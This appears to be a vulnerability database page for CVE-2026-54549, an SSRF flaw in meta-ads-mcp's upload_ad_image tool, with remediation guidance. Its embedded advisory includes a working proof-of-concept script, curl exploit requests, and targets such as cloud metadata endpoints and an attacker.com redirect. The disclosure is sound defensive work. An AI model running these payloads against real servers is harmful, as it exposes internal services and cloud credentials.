CVE-2026-54549: meta-ads-mcp Server-Side Request Forgery (SSRF) Vulnerability
HIGHCVE-2026-54549 is a HIGH (CVSS 8.3) server-side request forgery (ssrf) vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting meta-ads-mcp libraries in the PyPI ecosystem. The issue involves server-side request forgery (ssrf) in `upload_ad_image` via unrestricted `image_url` fetch. Remediation is available by upgrading affected packages to version 1.0.115.
CVE-2026-54549 at a Glance
Security Impact
CVSS: 8.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L).
How to Fix CVE-2026-54549
To remediate this vulnerability, upgrade all affected meta-ads-mcp dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install meta-ads-mcp>=1.0.115
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show meta-ads-mcp
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-54549, inspect your installed packages using pip:
pip show meta-ads-mcp
Analyze the terminal output to locate any version of meta-ads-mcp in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.115), your application is affected.
Note: The pip show meta-ads-mcp command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In meta-ads-mcp, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54549 Affected meta-ads-mcp Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
meta-ads-mcp
|
PyPI |
< 1.0.115
|
1.0.115
|
References
Frequently Asked Questions
What is CVE-2026-54549?
Which meta-ads-mcp versions are affected?
What version fixes CVE-2026-54549?
Is meta-ads-mcp affected?
What is the CVSS score of CVE-2026-54549?
What CWE is associated with CVE-2026-54549?
How can I check PyPI dependencies for CVE-2026-54549?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-45gf-fjxp-cjpq",
"modified" : "2026-07-17T18:47:31Z",
"published" : "2026-07-17T18:47:31Z",
"aliases" : [ "CVE-2026-54549" ],
"summary" : "meta-ads-mcp: Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch",
"details" : "## Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch\n\n### Summary\n\nThe `upload_ad_image` MCP tool in `meta-ads-mcp` v1.0.113 passes an attacker-controlled `image_url` parameter directly to an HTTP fetch helper (`httpx.AsyncClient(follow_redirects=True).get(url)`) without any scheme, host, or IP address validation. When the server is deployed with the `streamable-http` transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL—including `http://127.0.0.1/`, RFC 1918 addresses, or cloud metadata endpoints such as `http://169.254.169.254/`—and cause the server to issue an outbound HTTP request to that target. The `Authorization` middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs *after* the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).\n\n### Details\n\n**Source**\n\n`meta_ads_mcp/core/ads.py`, line 1316–1322: The MCP tool `upload_ad_image` is registered with `@mcp_server.tool()` and exposes `image_url: Optional[str]` as a direct tool argument that is fully attacker-controlled over the network.\n\n```python\n# meta_ads_mcp/core/ads.py\n1316: @mcp_server.tool()\n1318: async def upload_ad_image(\n1322: image_url: Optional[str] = None,\n```\n\n**Propagation**\n\n`meta_ads_mcp/core/ads.py`, line 1389: The value is forwarded to `try_multiple_download_methods(image_url)` without any sanitization or validation.\n\n```python\n# meta_ads_mcp/core/ads.py\n1389: image_bytes = await try_multiple_download_methods(image_url)\n```\n\n**Sinks**\n\n`meta_ads_mcp/core/utils.py` contains three independent HTTP fetch paths, all using `httpx.AsyncClient` with `follow_redirects=True` and no URL, host, or IP validation:\n\n```python\n# meta_ads_mcp/core/utils.py\n166: async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:\n168: response = await client.get(url, headers=headers)\n\n214: async with httpx.AsyncClient(follow_redirects=True) as client:\n215: response = await client.get(url, headers=headers, timeout=30.0)\n\n224: async with httpx.AsyncClient(follow_redirects=True) as client:\n228: response = await client.get(url, timeout=30.0)\n```\n\n**Authorization bypass**\n\n`meta_ads_mcp/core/http_auth_integration.py`, lines 78–82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in `meta_ads_mcp/core/api.py:415`) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.\n\n**Absence of sanitization**\n\nA search for `urlparse`, `urlsplit`, `ipaddress`, `localhost`, `127.0.0.1`, `169.254`, `private`, `allowlist`, `blocklist`, or `is_global` in `meta_ads_mcp/core/ads.py` and `meta_ads_mcp/core/utils.py` returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.\n\n**Transport exposure**\n\n`meta_ads_mcp/core/server.py`, line 219: The `--transport streamable-http` mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.\n\n### PoC\n\n**Environment setup**\n\n```bash\n# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)\ndocker build -f vuln-001/Dockerfile \\\n -t meta-ads-ssrf-poc \\\n reports/pypiAi_615_pipeboard-co__meta-ads-mcp/\n\ndocker run --rm meta-ads-ssrf-poc\n# Exit code 0 = SSRF confirmed\n```\n\n**Manual reproduction (two terminals)**\n\n```bash\n# Terminal 1 — SSRF capture listener on port 9009\npython3 - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n print(\"SSRF GET\", self.path, flush=True)\n body = b\"\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\xff\\xd9\"\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/jpeg\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\nHTTPServer((\"127.0.0.1\", 9009), H).serve_forever()\nPY\n\n# Terminal 2 — start the vulnerable MCP server\nMETA_APP_ID=dummy META_APP_SECRET=dummy \\\n python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080\n```\n\n**Exploit request**\n\n```bash\n# 1. Initialize MCP session\ncurl -sS -X POST http://127.0.0.1:8080/mcp \\\n -H \"Content-Type: application/json\" \\\n -H \"Accept: application/json, text/event-stream\" \\\n -H \"Authorization: Bearer dummy-token\" \\\n -d '{\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"id\":0,\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1.0\"}}}'\n\n# 2. Send SSRF payload — image_url points to internal listener\ncurl -sS -X POST http://127.0.0.1:8080/mcp \\\n -H \"Content-Type: application/json\" \\\n -H \"Accept: application/json, text/event-stream\" \\\n -H \"Authorization: Bearer dummy-token\" \\\n -d '{\n \"jsonrpc\": \"2.0\",\n \"method\": \"tools/call\",\n \"id\": 1,\n \"params\": {\n \"name\": \"upload_ad_image\",\n \"arguments\": {\n \"account_id\": \"act_123456789\",\n \"image_url\": \"http://127.0.0.1:9009/poc.jpg\"\n }\n }\n }'\n```\n\n**Expected result**\n\nTerminal 1 prints:\n```\nSSRF GET /poc.jpg\n```\n\nThe `curl` response returns an OAuth error from Meta (because the dummy token is invalid), but the inbound `GET /poc.jpg` request to the internal listener has already been received, confirming that the server-side fetch executes before any credential validation.\n\n**Confirmed runtime evidence (from Docker run)**\n\n```\n[SSRF LISTENER] Received GET '/poc.jpg' from 127.0.0.1 | User-Agent: 'curl/8.4.0'\n[PASS] SSRF CONFIRMED — MCP server issued 1 request(s) to 127.0.0.1:9009\n -> GET /poc.jpg | User-Agent: 'curl/8.4.0'\n```\n\n**Alternative targets**\n\nReplace `http://127.0.0.1:9009/poc.jpg` with:\n- `http://169.254.169.254/latest/meta-data/` — cloud instance metadata (AWS/GCP/Azure)\n- `http://10.0.0.1/` — RFC 1918 internal network services\n- `http://attacker.com/redirect` — a public URL that redirects to an internal target (exploitable via `follow_redirects=True`)\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability. Any party capable of sending a JSON-RPC `tools/call` request to the MCP HTTP endpoint—using any non-empty Bearer token string—can instruct the server to make arbitrary outbound HTTP GET requests, including to:\n\n- **Localhost services**: databases, admin panels, internal APIs, and other processes bound to `127.0.0.1` on the host\n- **RFC 1918 / private network addresses**: internal microservices, Kubernetes control planes, cloud-internal load balancers\n- **Cloud instance metadata endpoints**: `http://169.254.169.254/` (AWS IMDSv1, GCP, Azure), potentially exposing IAM credentials, instance identity documents, and bootstrap secrets\n- **Redirect-chained internal targets**: any internal host reachable via a public-to-private redirect, because `follow_redirects=True` is set on all three fetch paths without re-validation at each hop\n\nThe SSRF fires *before* Meta API credential validation, so no valid Meta OAuth token is required. The impact spans confidentiality (internal data exfiltration), integrity (requests that trigger state-changing actions on internal services), and limited availability (internal service disruption).\n\nOperators deploying `meta-ads-mcp` with `--transport streamable-http` in environments co-located with sensitive internal services or cloud metadata services are directly at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install system build dependencies\nRUN apt-get update && \\\n apt-get install -y --no-install-recommends gcc && \\\n rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Install pip and uv for fast dependency installation\nRUN pip install --upgrade pip && pip install uv\n\n# Install Python dependencies from the cloned repo\nCOPY repo/requirements.txt .\nRUN uv pip install --system -r requirements.txt\n\n# Copy the full application source (cloned repo)\nCOPY repo/ .\n\n# Install the package in editable mode (no extra deps, already installed above)\nRUN pip install --no-deps -e .\n\n# Copy the PoC exploit script into the image\nCOPY vuln-001/poc.py /poc.py\n\n# Run the PoC by default; exit code 0 = SSRF confirmed, 1 = not reproduced, 2 = setup error\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept: SSRF via upload_ad_image image_url in meta-ads-mcp v1.0.113\nCWE-918 - Server-Side Request Forgery (unrestricted server-side HTTP fetch)\n\nAttack flow:\n 1. Attacker sends tools/call for upload_ad_image with image_url=\"http://127.0.0.1:9009/poc.jpg\"\n 2. MCP server calls try_multiple_download_methods(image_url) with no URL validation\n 3. httpx.AsyncClient(follow_redirects=True).get(\"http://127.0.0.1:9009/poc.jpg\") fires\n 4. SSRF listener records the inbound GET, proving the server issued the request\n\nAuthorization bypass: only a non-empty Bearer token string is required before the fetch;\nthe actual Meta API credential check happens after the image download.\n\"\"\"\n\nimport threading\nimport subprocess\nimport time\nimport json\nimport sys\nimport socket\nimport os\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nimport httpx\n\n# ── Configuration ─────────────────────────────────────────────────────────────\nSSRF_PORT = 9009 # Port for the SSRF capture listener\nMCP_PORT = 8080 # Port for the vulnerable MCP server\nSSRF_PATH = \"/poc.jpg\" # Path that the MCP server will request (SSRF indicator)\n\n# ── Shared state ──────────────────────────────────────────────────────────────\nssrf_hits: list = []\nssrf_lock = threading.Lock()\n\n\n# ── SSRF capture listener ─────────────────────────────────────────────────────\n\nclass SSRFCaptureHandler(BaseHTTPRequestHandler):\n \"\"\"Records every inbound GET request made by the vulnerable MCP server.\"\"\"\n\n def do_GET(self):\n hit = {\n \"method\": \"GET\",\n \"path\": self.path,\n \"host\": self.client_address[0],\n \"user_agent\": self.headers.get(\"User-Agent\", \"\"),\n }\n with ssrf_lock:\n ssrf_hits.append(hit)\n print(\n f\"[SSRF LISTENER] Received GET {self.path!r}\"\n f\" from {self.client_address[0]}\"\n f\" | User-Agent: {hit['user_agent']!r}\",\n flush=True,\n )\n # Return a minimal valid JPEG so the server processes the response\n body = (\n b\"\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\"\n b\"\\xff\\xd9\"\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/jpeg\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def log_message(self, fmt, *args):\n pass # Suppress default access log to keep output clean\n\n\ndef start_ssrf_listener() -> None:\n server = HTTPServer((\"127.0.0.1\", SSRF_PORT), SSRFCaptureHandler)\n server.serve_forever()\n\n\n# ── Helpers ───────────────────────────────────────────────────────────────────\n\ndef wait_for_port(host: str, port: int, timeout: float = 30.0) -> bool:\n \"\"\"Poll until the TCP port is accepting connections or timeout expires.\"\"\"\n deadline = time.time() + timeout\n while time.time() < deadline:\n try:\n with socket.create_connection((host, port), timeout=1.0):\n return True\n except (ConnectionRefusedError, OSError):\n time.sleep(0.5)\n return False\n\n\ndef mcp_post(\n method: str,\n params: dict,\n req_id: int,\n session_id: str | None = None,\n) -> httpx.Response:\n \"\"\"Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.\n\n Path is /mcp (no trailing slash) — FastMCP 1.23.0 redirects /mcp/ → /mcp\n with HTTP 307, so we skip the redirect by targeting the canonical path directly.\n Accept header must include text/event-stream; without it the server returns 406.\n \"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n # MCP streamable-HTTP requires both JSON and SSE in Accept; omitting\n # text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.\n \"Accept\": \"application/json, text/event-stream\",\n # Dummy Bearer token — the middleware only checks that it is non-empty;\n # Meta API credential validation happens AFTER the image download (SSRF sink).\n \"Authorization\": \"Bearer dummy-ssrf-poc-token\",\n }\n if session_id:\n headers[\"Mcp-Session-Id\"] = session_id\n\n payload = {\"jsonrpc\": \"2.0\", \"method\": method, \"id\": req_id, \"params\": params}\n with httpx.Client(timeout=30.0) as client:\n return client.post(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\", # no trailing slash\n json=payload,\n headers=headers,\n )\n\n\n# ── Main PoC ──────────────────────────────────────────────────────────────────\n\ndef main() -> int:\n print(\"=\" * 65, flush=True)\n print(\"VULN-001 PoC — SSRF in meta-ads-mcp upload_ad_image (v1.0.113)\", flush=True)\n print(\"CWE-918 | CVSS 8.3 | image_url fetch has zero URL validation\", flush=True)\n print(\"=\" * 65, flush=True)\n\n # ── Step 1: Start the SSRF capture listener ────────────────────────────\n t = threading.Thread(target=start_ssrf_listener, daemon=True)\n t.start()\n time.sleep(0.3)\n print(f\"[+] SSRF capture listener running on 127.0.0.1:{SSRF_PORT}\", flush=True)\n\n # ── Step 2: Start the vulnerable MCP server ────────────────────────────\n env = os.environ.copy()\n # Dummy credentials so the server starts; the Meta API is only called after\n # the image has already been fetched (i.e., after the SSRF fires).\n env.setdefault(\"META_APP_ID\", \"poc-dummy-app-id\")\n env.setdefault(\"META_APP_SECRET\", \"poc-dummy-secret\")\n env.setdefault(\"PIPEBOARD_API_TOKEN\", \"\")\n\n proc = subprocess.Popen(\n [\n sys.executable, \"-m\", \"meta_ads_mcp\",\n \"--transport\", \"streamable-http\",\n \"--host\", \"127.0.0.1\",\n \"--port\", str(MCP_PORT),\n ],\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n env=env,\n cwd=\"/app\",\n )\n print(f\"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP_PORT} ...\", flush=True)\n\n # ── Step 3: Wait for server readiness ─────────────────────────────────\n if not wait_for_port(\"127.0.0.1\", MCP_PORT, timeout=30):\n try:\n out, _ = proc.communicate(timeout=5)\n except subprocess.TimeoutExpired:\n out = \"\"\n print(f\"[FAIL] MCP server did not start within 30 s.\\nServer output:\\n{out}\", flush=True)\n return 2\n print(f\"[+] MCP server is up on 127.0.0.1:{MCP_PORT}\", flush=True)\n time.sleep(0.5)\n\n # ── Step 4: MCP protocol initialization ───────────────────────────────\n # The streamable-HTTP transport requires a brief initialize / initialized\n # handshake before accepting tool calls.\n session_id = None\n try:\n resp = mcp_post(\n \"initialize\",\n {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"ssrf-poc\", \"version\": \"1.0\"},\n },\n req_id=0,\n )\n print(f\"[*] initialize -> HTTP {resp.status_code}\", flush=True)\n session_id = resp.headers.get(\"Mcp-Session-Id\")\n if session_id:\n print(f\"[*] Session ID: {session_id}\", flush=True)\n notif_headers = {\n \"Content-Type\": \"application/json\",\n \"Authorization\": \"Bearer dummy-ssrf-poc-token\",\n \"Mcp-Session-Id\": session_id,\n }\n notif_payload = {\n \"jsonrpc\": \"2.0\",\n \"method\": \"notifications/initialized\",\n \"params\": {},\n }\n with httpx.Client(timeout=10.0) as client:\n nr = client.post(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\", # no trailing slash\n json=notif_payload,\n headers=notif_headers,\n )\n print(f\"[*] notifications/initialized -> HTTP {nr.status_code}\", flush=True)\n except Exception as exc:\n print(f\"[*] Initialization step error (non-fatal): {exc}\", flush=True)\n\n # ── Step 5: Send the SSRF exploit payload ─────────────────────────────\n ssrf_url = f\"http://127.0.0.1:{SSRF_PORT}{SSRF_PATH}\"\n print(f\"\\n[*] Sending exploit request ...\", flush=True)\n print(f\" method : tools/call\", flush=True)\n print(f\" tool : upload_ad_image\", flush=True)\n print(f\" image_url : {ssrf_url} <-- SSRF payload\", flush=True)\n print(f\" Authorization : Bearer dummy-ssrf-poc-token (not validated before fetch)\", flush=True)\n\n try:\n resp = mcp_post(\n \"tools/call\",\n {\n \"name\": \"upload_ad_image\",\n \"arguments\": {\n \"account_id\": \"act_123456789\",\n \"image_url\": ssrf_url,\n },\n },\n req_id=1,\n session_id=session_id,\n )\n print(f\"\\n[*] tools/call -> HTTP {resp.status_code}\", flush=True)\n print(f\"[*] Response preview (first 400 chars):\\n{resp.text[:400]}\", flush=True)\n except Exception as exc:\n print(f\"[*] tools/call exception: {exc}\", flush=True)\n\n # ── Step 6: Allow time for async fetch to complete ────────────────────\n time.sleep(4)\n proc.terminate()\n\n # ── Step 7: Evaluate and report ───────────────────────────────────────\n print(\"\\n\" + \"=\" * 65, flush=True)\n with ssrf_lock:\n hits = list(ssrf_hits)\n\n if hits:\n print(\n f\"[PASS] SSRF CONFIRMED — MCP server issued {len(hits)} request(s) to\"\n f\" 127.0.0.1:{SSRF_PORT}\",\n flush=True,\n )\n for h in hits:\n print(\n f\" -> {h['method']} {h['path']}\"\n f\" | User-Agent: {h['user_agent']!r}\",\n flush=True,\n )\n print(\n \"\\nConclusion: upload_ad_image passes attacker-controlled image_url to\"\n \" httpx.AsyncClient(follow_redirects=True).get(url) without any scheme,\"\n \" host, or IP validation. Internal services are reachable via SSRF.\",\n flush=True,\n )\n print(\"=\" * 65, flush=True)\n return 0\n else:\n print(\n f\"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF_PORT}.\",\n flush=True,\n )\n print(\"=\" * 65, flush=True)\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "meta-ads-mcp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.0.115"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-45gf-fjxp-cjpq"
}, {
"type" : "WEB",
"url" : "https://github.com/pipeboard-co/meta-ads-mcp/commit/7d9926336bbdac6285a988d043c4ccfe126c94c5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pipeboard-co/meta-ads-mcp"
}, {
"type" : "WEB",
"url" : "https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-17T18:47:31Z",
"nvd_published_at" : null
}
}